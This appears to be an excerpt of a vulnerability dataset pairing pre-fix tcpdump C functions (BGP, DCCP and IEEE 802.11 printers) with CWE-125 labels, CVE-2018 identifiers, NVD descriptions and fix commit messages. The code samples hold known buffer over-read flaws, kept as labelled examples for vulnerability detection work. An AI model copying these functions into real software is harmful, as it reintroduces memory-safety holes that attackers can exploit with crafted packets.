ND_TCHECK2(tptr[0], sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
tlen -= (sizeof(struct in_addr));
tptr += (sizeof(struct in_addr));
}
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "%s", isonsap_string(ndo, tptr, tlen)));
tptr += tlen;
tlen = 0;
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < BGP_VPN_RD_LEN+1) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
isonsap_string(ndo, tptr+BGP_VPN_RD_LEN,tlen-BGP_VPN_RD_LEN)));
/* rfc986 mapped IPv4 address ? */
if (EXTRACT_32BITS(tptr+BGP_VPN_RD_LEN) == 0x47000601)
ND_PRINT((ndo, " = %s", ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN+4)));
/* rfc1888 mapped IPv6 address ? */
else if (EXTRACT_24BITS(tptr+BGP_VPN_RD_LEN) == 0x350000)
ND_PRINT((ndo, " = %s", ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN+3)));
tptr += tlen;
tlen = 0;
}
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "no AFI %u/SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
tptr += tlen;
tlen = 0;
goto done;
break;
}
}
}
ND_PRINT((ndo, ", nh-length: %u", nhlen));
tptr += tlen;
ND_TCHECK(tptr[0]);
snpa = tptr[0];
tptr++;
if (snpa) {
ND_PRINT((ndo, "\n\t %u SNPA", snpa));
for (/*nothing*/; snpa > 0; snpa--) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "\n\t %d bytes", tptr[0]));
tptr += tptr[0] + 1;
}
} else {
ND_PRINT((ndo, ", no SNPA"));
}
while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
advance = decode_rt_routing_info(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*tptr,tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
done:
break;
case BGPTYPE_MP_UNREACH_NLRI:
ND_TCHECK2(tptr[0], BGP_MP_NLRI_MINSIZE);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
if (len == BGP_MP_NLRI_MINSIZE)
ND_PRINT((ndo, "\n\t End-of-Rib Marker (empty NLRI)"));
tptr += 3;
while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*(tptr-3),tlen);
ND_PRINT((ndo, "no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr-3, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
break;
case BGPTYPE_EXTD_COMMUNITIES:
if (len % 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint16_t extd_comm;
ND_TCHECK2(tptr[0], 2);
extd_comm=EXTRACT_16BITS(tptr);
ND_PRINT((ndo, "\n\t %s (0x%04x), Flags [%s]",
tok2str(bgp_extd_comm_subtype_values,
"unknown extd community typecode",
extd_comm),
extd_comm,
bittok2str(bgp_extd_comm_flag_values, "none", extd_comm)));
ND_TCHECK2(*(tptr+2), 6);
switch(extd_comm) {
case BGP_EXT_COM_RT_0:
case BGP_EXT_COM_RO_0:
case BGP_EXT_COM_L2VPN_RT_0:
ND_PRINT((ndo, ": %u:%u (= %s)",
EXTRACT_16BITS(tptr+2),
EXTRACT_32BITS(tptr+4),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_EXT_COM_RT_1:
case BGP_EXT_COM_RO_1:
case BGP_EXT_COM_L2VPN_RT_1:
case BGP_EXT_COM_VRF_RT_IMP:
ND_PRINT((ndo, ": %s:%u",
ipaddr_string(ndo, tptr+2),
EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_RT_2:
case BGP_EXT_COM_RO_2:
ND_PRINT((ndo, ": %s:%u",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr+2)), EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_LINKBAND:
bw.i = EXTRACT_32BITS(tptr+2);
ND_PRINT((ndo, ": bandwidth: %.3f Mbps",
bw.f*8/1000000));
break;
case BGP_EXT_COM_VPN_ORIGIN:
case BGP_EXT_COM_VPN_ORIGIN2:
case BGP_EXT_COM_VPN_ORIGIN3:
case BGP_EXT_COM_VPN_ORIGIN4:
case BGP_EXT_COM_OSPF_RID:
case BGP_EXT_COM_OSPF_RID2:
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr+2)));
break;
case BGP_EXT_COM_OSPF_RTYPE:
case BGP_EXT_COM_OSPF_RTYPE2:
ND_PRINT((ndo, ": area:%s, router-type:%s, metric-type:%s%s",
ipaddr_string(ndo, tptr+2),
tok2str(bgp_extd_comm_ospf_rtype_values,
"unknown (0x%02x)",
*(tptr+6)),
(*(tptr+7) & BGP_OSPF_RTYPE_METRIC_TYPE) ? "E2" : "",
((*(tptr+6) == BGP_OSPF_RTYPE_EXT) || (*(tptr+6) == BGP_OSPF_RTYPE_NSSA)) ? "E1" : ""));
break;
case BGP_EXT_COM_L2INFO:
ND_PRINT((ndo, ": %s Control Flags [0x%02x]:MTU %u",
tok2str(l2vpn_encaps_values,
"unknown encaps",
*(tptr+2)),
*(tptr+3),
EXTRACT_16BITS(tptr+4)));
break;
case BGP_EXT_COM_SOURCE_AS:
ND_PRINT((ndo, ": AS %u", EXTRACT_16BITS(tptr+2)));
break;
default:
ND_TCHECK2(*tptr,8);
print_unknown_data(ndo, tptr, "\n\t ", 8);
break;
}
tlen -=8;
tptr +=8;
}
break;
case BGPTYPE_PMSI_TUNNEL:
{
uint8_t tunnel_type, flags;
ND_TCHECK2(tptr[0], 5);
tunnel_type = *(tptr+1);
flags = *tptr;
tlen = len;
ND_PRINT((ndo, "\n\t Tunnel-type %s (%u), Flags [%s], MPLS Label %u",
tok2str(bgp_pmsi_tunnel_values, "Unknown", tunnel_type),
tunnel_type,
bittok2str(bgp_pmsi_flag_values, "none", flags),
EXTRACT_24BITS(tptr+2)>>4));
tptr +=5;
tlen -= 5;
switch (tunnel_type) {
case BGP_PMSI_TUNNEL_PIM_SM: /* fall through */
case BGP_PMSI_TUNNEL_PIM_BIDIR:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Sender %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_PIM_SSM:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_INGRESS:
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "\n\t Tunnel-Endpoint %s",
ipaddr_string(ndo, tptr)));
break;
case BGP_PMSI_TUNNEL_LDP_P2MP: /* fall through */
case BGP_PMSI_TUNNEL_LDP_MP2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, LSP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
case BGP_PMSI_TUNNEL_RSVP_P2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Extended-Tunnel-ID %s, P2MP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr, "\n\t ", tlen);
}
}
break;
}
case BGPTYPE_AIGP:
{
uint8_t type;
uint16_t length;
tlen = len;
while (tlen >= 3) {
ND_TCHECK2(tptr[0], 3);
type = *tptr;
length = EXTRACT_16BITS(tptr+1);
tptr += 3;
tlen -= 3;
ND_PRINT((ndo, "\n\t %s TLV (%u), length %u",
tok2str(bgp_aigp_values, "Unknown", type),
type, length));
if (length < 3)
goto trunc;
length -= 3;
/*
* Check if we can read the TLV data.
*/
ND_TCHECK2(tptr[3], length);
switch (type) {
case BGP_AIGP_TLV:
if (length < 8)
goto trunc;
ND_PRINT((ndo, ", metric %" PRIu64,
EXTRACT_64BITS(tptr)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr,"\n\t ", length);
}
}
tptr += length;
tlen -= length;
}
break;
}
case BGPTYPE_ATTR_SET:
ND_TCHECK2(tptr[0], 4);
if (len < 4)
goto trunc;
ND_PRINT((ndo, "\n\t Origin AS: %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr))));
tptr+=4;
len -=4;
while (len) {
u_int aflags, alenlen, alen;
ND_TCHECK2(tptr[0], 2);
if (len < 2)
goto trunc;
aflags = *tptr;
atype = *(tptr + 1);
tptr += 2;
len -= 2;
alenlen = bgp_attr_lenlen(aflags, tptr);
ND_TCHECK2(tptr[0], alenlen);
if (len < alenlen)
goto trunc;
alen = bgp_attr_len(aflags, tptr);
tptr += alenlen;
len -= alenlen;
ND_PRINT((ndo, "\n\t %s (%u), length: %u",
tok2str(bgp_attr_values,
"Unknown Attribute", atype),
atype,
alen));
if (aflags) {
ND_PRINT((ndo, ", Flags [%s%s%s%s",
aflags & 0x80 ? "O" : "",
aflags & 0x40 ? "T" : "",
aflags & 0x20 ? "P" : "",
aflags & 0x10 ? "E" : ""));
if (aflags & 0xf)
ND_PRINT((ndo, "+%x", aflags & 0xf));
ND_PRINT((ndo, "]: "));
}
/* FIXME check for recursion */
if (!bgp_attr_print(ndo, atype, tptr, alen))
return 0;
tptr += alen;
len -= alen;
}
break;
case BGPTYPE_LARGE_COMMUNITY:
if (len == 0 || len % 12) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_PRINT((ndo, "\n\t "));
while (len > 0) {
ND_TCHECK2(*tptr, 12);
ND_PRINT((ndo, "%u:%u:%u%s",
EXTRACT_32BITS(tptr),
EXTRACT_32BITS(tptr + 4),
EXTRACT_32BITS(tptr + 8),
(len > 12) ? ", " : ""));
tptr += 12;
len -= 12;
}
break;
default:
ND_TCHECK2(*pptr,len);
ND_PRINT((ndo, "\n\t no Attribute %u decoder", atype)); /* we have no decoder for the attribute */
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, pptr, "\n\t ", len);
break;
}
if (ndo->ndo_vflag > 1 && len) { /* omit zero length attributes*/
ND_TCHECK2(*pptr,len);
print_unknown_data(ndo, pptr, "\n\t ", len);
}
return 1;
trunc:
return 0;
}
| 338,883,693,916,013,400,000,000,000,000,000,000,000 | print-bgp.c | 219,392,234,472,983,600,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-16230 | The BGP parser in tcpdump before 4.9.3 has a buffer over-read in print-bgp.c:bgp_attr_print() (MP_REACH_NLRI). | https://nvd.nist.gov/vuln/detail/CVE-2018-16230 |
4,168 | tcpdump | 211124b972e74f0da66bc8b16f181f78793e2f66 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/211124b972e74f0da66bc8b16f181f78793e2f66 | (for 4.9.3) CVE-2018-16229/DCCP: Fix printing "Timestamp" and "Timestamp Echo" options
Add some comments.
Moreover:
Put a function definition name at the beginning of the line.
(This change was ported from commit 6df4852 in the master branch.)
Ryan Ackroyd had independently identified this buffer over-read later by
means of fuzzing and provided the packet capture file for the test. | 1 | static int dccp_print_option(netdissect_options *ndo, const u_char *option, u_int hlen)
{
uint8_t optlen, i;
ND_TCHECK(*option);
if (*option >= 32) {
ND_TCHECK(*(option+1));
optlen = *(option +1);
if (optlen < 2) {
if (*option >= 128)
ND_PRINT((ndo, "CCID option %u optlen too short", *option));
else
ND_PRINT((ndo, "%s optlen too short",
tok2str(dccp_option_values, "Option %u", *option)));
return 0;
}
} else
optlen = 1;
if (hlen < optlen) {
if (*option >= 128)
ND_PRINT((ndo, "CCID option %u optlen goes past header length",
*option));
else
ND_PRINT((ndo, "%s optlen goes past header length",
tok2str(dccp_option_values, "Option %u", *option)));
return 0;
}
ND_TCHECK2(*option, optlen);
if (*option >= 128) {
ND_PRINT((ndo, "CCID option %d", *option));
switch (optlen) {
case 4:
ND_PRINT((ndo, " %u", EXTRACT_16BITS(option + 2)));
break;
case 6:
ND_PRINT((ndo, " %u", EXTRACT_32BITS(option + 2)));
break;
default:
break;
}
} else {
ND_PRINT((ndo, "%s", tok2str(dccp_option_values, "Option %u", *option)));
switch (*option) {
case 32:
case 33:
case 34:
case 35:
if (optlen < 3) {
ND_PRINT((ndo, " optlen too short"));
return optlen;
}
if (*(option + 2) < 10){
ND_PRINT((ndo, " %s", dccp_feature_nums[*(option + 2)]));
for (i = 0; i < optlen - 3; i++)
ND_PRINT((ndo, " %d", *(option + 3 + i)));
}
break;
case 36:
if (optlen > 2) {
ND_PRINT((ndo, " 0x"));
for (i = 0; i < optlen - 2; i++)
ND_PRINT((ndo, "%02x", *(option + 2 + i)));
}
break;
case 37:
for (i = 0; i < optlen - 2; i++)
ND_PRINT((ndo, " %d", *(option + 2 + i)));
break;
case 38:
if (optlen > 2) {
ND_PRINT((ndo, " 0x"));
for (i = 0; i < optlen - 2; i++)
ND_PRINT((ndo, "%02x", *(option + 2 + i)));
}
break;
case 39:
if (optlen > 2) {
ND_PRINT((ndo, " 0x"));
for (i = 0; i < optlen - 2; i++)
ND_PRINT((ndo, "%02x", *(option + 2 + i)));
}
break;
case 40:
if (optlen > 2) {
ND_PRINT((ndo, " 0x"));
for (i = 0; i < optlen - 2; i++)
ND_PRINT((ndo, "%02x", *(option + 2 + i)));
}
break;
case 41:
if (optlen == 4)
ND_PRINT((ndo, " %u", EXTRACT_32BITS(option + 2)));
else
ND_PRINT((ndo, " optlen != 4"));
break;
case 42:
if (optlen == 4)
ND_PRINT((ndo, " %u", EXTRACT_32BITS(option + 2)));
else
ND_PRINT((ndo, " optlen != 4"));
break;
case 43:
if (optlen == 6)
ND_PRINT((ndo, " %u", EXTRACT_32BITS(option + 2)));
else if (optlen == 4)
ND_PRINT((ndo, " %u", EXTRACT_16BITS(option + 2)));
else
ND_PRINT((ndo, " optlen != 4 or 6"));
break;
case 44:
if (optlen > 2) {
ND_PRINT((ndo, " "));
for (i = 0; i < optlen - 2; i++)
ND_PRINT((ndo, "%02x", *(option + 2 + i)));
}
break;
}
}
return optlen;
trunc:
ND_PRINT((ndo, "%s", tstr));
return 0;
}
| 15,798,034,750,616,692,000,000,000,000,000,000,000 | print-dccp.c | 145,045,132,521,129,190,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-16229 | The DCCP parser in tcpdump before 4.9.3 has a buffer over-read in print-dccp.c:dccp_print_option(). | https://nvd.nist.gov/vuln/detail/CVE-2018-16229 |
4,169 | tcpdump | 4846b3c5d0a850e860baf4f07340495d29837d09 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/4846b3c5d0a850e860baf4f07340495d29837d09 | (for 4.9.3) CVE-2018-16227/IEEE 802.11: add a missing bounds check
ieee802_11_print() tried to access the Mesh Flags subfield of the Mesh
Control field to find the size of the latter and increment the expected
802.11 header length before checking it is fully present in the input
buffer. Add an intermediate bounds check to make it safe.
This fixes a buffer over-read discovered by Ryan Ackroyd.
Add a test using the capture file supplied by the reporter(s). | 1 | ieee802_11_print(netdissect_options *ndo,
const u_char *p, u_int length, u_int orig_caplen, int pad,
u_int fcslen)
{
uint16_t fc;
u_int caplen, hdrlen, meshdrlen;
struct lladdr_info src, dst;
int llc_hdrlen;
caplen = orig_caplen;
/* Remove FCS, if present */
if (length < fcslen) {
ND_PRINT((ndo, "%s", tstr));
return caplen;
}
length -= fcslen;
if (caplen > length) {
/* Amount of FCS in actual packet data, if any */
fcslen = caplen - length;
caplen -= fcslen;
ndo->ndo_snapend -= fcslen;
}
if (caplen < IEEE802_11_FC_LEN) {
ND_PRINT((ndo, "%s", tstr));
return orig_caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(ndo, fc);
if (hdrlen == 0) {
/* Unknown frame type or control frame subtype; quit. */
return (0);
}
if (pad)
hdrlen = roundup2(hdrlen, 4);
if (ndo->ndo_Hflag && FC_TYPE(fc) == T_DATA &&
DATA_FRAME_IS_QOS(FC_SUBTYPE(fc))) {
meshdrlen = extract_mesh_header_length(p+hdrlen);
hdrlen += meshdrlen;
} else
meshdrlen = 0;
if (caplen < hdrlen) {
ND_PRINT((ndo, "%s", tstr));
return hdrlen;
}
if (ndo->ndo_eflag)
ieee_802_11_hdr_print(ndo, fc, p, hdrlen, meshdrlen);
/*
* Go past the 802.11 header.
*/
length -= hdrlen;
caplen -= hdrlen;
p += hdrlen;
src.addr_string = etheraddr_string;
dst.addr_string = etheraddr_string;
switch (FC_TYPE(fc)) {
case T_MGMT:
get_mgmt_src_dst_mac(p - hdrlen, &src.addr, &dst.addr);
if (!mgmt_body_print(ndo, fc, src.addr, p, length)) {
ND_PRINT((ndo, "%s", tstr));
return hdrlen;
}
break;
case T_CTRL:
if (!ctrl_body_print(ndo, fc, p - hdrlen)) {
ND_PRINT((ndo, "%s", tstr));
return hdrlen;
}
break;
case T_DATA:
if (DATA_FRAME_IS_NULL(FC_SUBTYPE(fc)))
return hdrlen; /* no-data frame */
/* There may be a problem w/ AP not having this bit set */
if (FC_PROTECTED(fc)) {
ND_PRINT((ndo, "Data"));
if (!wep_print(ndo, p)) {
ND_PRINT((ndo, "%s", tstr));
return hdrlen;
}
} else {
get_data_src_dst_mac(fc, p - hdrlen, &src.addr, &dst.addr);
llc_hdrlen = llc_print(ndo, p, length, caplen, &src, &dst);
if (llc_hdrlen < 0) {
/*
* Some kinds of LLC packet we cannot
* handle intelligently
*/
if (!ndo->ndo_suppress_default_print)
ND_DEFAULTPRINT(p, caplen);
llc_hdrlen = -llc_hdrlen;
}
hdrlen += llc_hdrlen;
}
break;
default:
/* We shouldn't get here - we should already have quit */
break;
}
return hdrlen;
}
| 36,678,721,672,009,150,000,000,000,000,000,000,000 | print-802_11.c | 126,620,455,302,702,500,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-16227 | The IEEE 802.11 parser in tcpdump before 4.9.3 has a buffer over-read in print-802_11.c for the Mesh Flags subfield. | https://nvd.nist.gov/vuln/detail/CVE-2018-16227 |
